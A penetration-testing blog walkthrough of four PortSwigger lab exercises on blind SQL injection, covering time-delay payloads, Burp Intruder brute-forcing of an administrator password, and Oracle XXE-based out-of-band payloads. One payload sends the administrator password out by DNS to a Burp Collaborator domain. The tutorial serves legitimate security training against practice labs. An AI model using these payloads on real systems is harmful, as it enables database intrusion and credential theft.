Hello folks,
In this blog, we will understand Blind SQL Injection vulnerability by triggering time delays and out-of-band requests. We will utilize the PortSwigger platform to explore this vulnerability.
In the previous blog, we covered the concepts of blind-based SQL injection using conditional responses, conditional errors, and verbose error messages. If you want to learn about it, you can visit our blog. Let’s begin the penetration testing process to identify and exploit blind SQL injection.
Lab-1 Blind SQL injection with time delays
Some application handles the errors properly and the user will not be able to get any error. In this situation, we can get data from the database by generating time delays depending on the condition’s response. For this lab, we will just try to generate the time delays.
Let’s read the lab description and click on the “Access the lab” button. This lab can be solved using the Burp Suite Community edition.
To identify SQL injection vulnerability, we need a parameter. Here we have a cookie parameter named TrackingId. We can reload the webpage to get the cookie. Now, let’s switch to the burp suite and take this request to Repeater.
To generate time delays, we need to know the type of database that we do not know, so we have to target all databases one by one using the SQL injection cheat sheet. We tried payloads for Oracle, MSSQL, and MySQL databases but it didn’t work. Finally, we tried the following payload associated with the PostgreSQL database and it worked:
‘; (SELECT pg_sleep(10))––
Here, we used semicolon (;) which terminated the previous SQL query and executed the malicious query provided by us. Hence we received the response after 10 seconds which confirms that this parameter is vulnerable to blind SQL injection and the lab is solved.
Lab-2 Blind SQL injection with time delays and information retrieval
In this situation, we will try to generate the time delays and exploit the same to get data from the database.
Let’s read the lab description and click on the “Access the lab” button. We will require a Burp Suite Professional for this lab.
We need to repeat the same steps that we performed in the previous lab and identify the parameter vulnerable to time-based blind SQL injection.
After performing the previous steps we will confirm that the TrackingId cookie parameter is vulnerable. Now let’s exploit this vulnerability by finding the password of the administrator user for which we require to find the length of the password. We will use the following query on the TrackingId parameter to get the length of the password:
‘; (SELECT CASE WHEN (length(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username=’administrator’)––
Here, we have used the CASE conditional statement which responds based on the condition provided. If the length of the password is greater than one then the “THEN” statement will execute otherwise “ELSE” statement will execute.
We will get the response in 10 seconds which confirms that the query is working fine. We can validate the reverse of the same by comparing the length to 10000. This time we will receive the response immediately.
Now let’s send this request to Intruder where we have to the select position on which we will provide the payload. Here the position will be the number that we will compare to get the length of the user’s password. Also, we need to change the “<” or “>” symbol to “=” so that we can get the exact length. Let’s switch to the Payloads sub-tab where we need to select numbers under payload type and provide numbers as follows:
From: 1
To: 50
Step: 1
We can now click on “Start attack” to begin the brute-force attack. After a few seconds, we can add another column “Response received” to check the response time of every request. We can sort the requests by clicking on this column after which we will see that there is a request which generated 10 seconds time delay. It means that the length of the administrator’s password is 20.
After getting the exact length of the administrator’s password, we need to find the password which can be enumerated using the following payload:
‘; (SELECT CASE WHEN (substring(password,1,1)>’m’) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username=’administrator’)––
Here we are using the substring() function which helps to query sub-strings. The substring function requires 3 input values; first is the name of the column that we are targeting or any string on which this function will work, second is a numeric value that specifies the place of character and third is also a numeric value that specifies how many characters we have to consider at a time.
If the first character of the password is greater than m then we will find the 10 seconds delay otherwise not. Also, we can use the following statement to check the reverse:
‘; (SELECT CASE WHEN (substring(password,1,1)<‘m’) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username=’administrator’)––
Now, after confirming we need to send the request to Intruder where we can brute-force each character of the password. On Intruder under the Positions tab, we need to select the second input value of the substring() function as well as the “m” character. Also, we need to change the “<” or “>” symbol to “=”. Change the attack type to “Cluster Bomb”.
Now go to the Payloads tab and for the first position, we require “Numbers” as the payload type where we will mention numbers as follows:
From: 1
To: 20
Step: 1
For the second payload, we require “Bruteforcer” as the payload type where the number of minimum and maximum characters should be 1. Now click on the “Start Attack” button to begin the process.
We need to add another column “Response received” to check the response time of every request. We can sort the requests by clicking on this column after which we will see that there are 20 requests where 10 seconds time delay is generated. We can simply select those requests and highlight them using any color. Finally, filter the results by selecting “Show only highlighted items”. We will find each character of the administrator’s password which we can use on the /login page to log in as administrator user.
Lab-3 Blind SQL injection with out-of-band interaction
Some web applications do not respond with any error or do not generate time delays after executing the query but are still vulnerable. Out-of-band application security testing (OAST) is one of the techniques where we will use external public servers on which if the requests are sent by the vulnerable web server, then it confirms that the target website is vulnerable. Using this technique, we can confirm many vulnerabilities including SQL injection. To generate out-of-band requests, we will use the DNS Lookup technique where we force the target entity to send a DNS request to our public web server. In this lab, we will try to generate an out-of-band request towards a public domain provided to us by Burp Suite Professional. This tool is called Burp Collaborator.
Let’s read the lab description and click on the “Access the lab” button. We will require Burp Suite Professional for this lab.
To identify SQL injection vulnerability, we need a parameter. Here we have a cookie parameter named TrackingId. We can reload the webpage to get the cookie. Now, let’s switch to the burp suite and take this request to Repeater.
To generate out-of-band requests using the DNS Lookup technique, we need to know the type of database which we do not know, so we have to target all databases one by one using the SQL injection cheat sheet. Also, we need Burp Collaborator client which we can start by clicking on the “Burp” menu and then selecting “Burp Collaborator”. We tried payloads for PostgreSQL, MSSQL, and MySQL databases but it didn’t work. Finally, we tried the following payload associated with Oracle unpatched database installation and it worked:
‘ || (SELECT EXTRACTVALUE(xmltype(‘<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://<Burp_Collaborator_Domain>/”> %remote;]>’),’/l’) FROM dual)––
Here, we have to provide the domain name which we can get by clicking the “Copy to clipboard” button on the Burp Collaborator client window. Each time when we send the request to the server, we need to go to the Burp collaborator client window and click on “Poll now” to check for incoming requests. We will find some incoming requests when we will send the above payload. This confirms that the TrackingId parameter is vulnerable to out-of-band based blind SQL injection vulnerability which will finally solve the lab.
Lab-4 Blind SQL injection with out-of-band data exfiltration
After generating the out-of-band request, we can now perform data exfiltration which means that we will exploit this vulnerability and can fetch data from the database. We will be able to exfiltrate the data towards our Burp Collaborator server using the DNS Lookup technique.
Let’s read the lab description and click on the “Access the lab” button. We will require Burp Suite Professional for this lab.
We need to repeat the same steps that we performed in the third lab and identify the parameter vulnerable to out-of-band-based blind SQL injection.
After performing the previous steps we will confirm that the TrackingId cookie parameter is vulnerable. Now let’s exploit this vulnerability by finding the password of the administrator user. Here we do not need to brute-force each character to the user’s password. We can directly use the following query on the TrackingId parameter to get the password:
‘ || (SELECT EXTRACTVALUE(xmltype(‘<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://’||(SELECT password FROM users WHERE username=’administrator’)||’.<Burp_Collaborator_Domain>/”> %remote;]>’),’/l’) FROM dual)––
Here, we have to provide the domain name which we can get by clicking on the “Copy to clipboard” button on the Burp Collaborator client window. Also, we have provided the select query to get the password of administrator user. After using the above payload, we will receive some DNS requests which will contain the password of the administrator user as a subdomain.
We can use the password on the /login page to log in as administrator user.
So, we covered Blind SQL injection vulnerability where we explored many techniques like conditional responses, conditional errors, verbose error messages, time-based and out-of-band-based. You can explore other SQL injection types on our website.
Happy Pentesting!
Team CyberiumX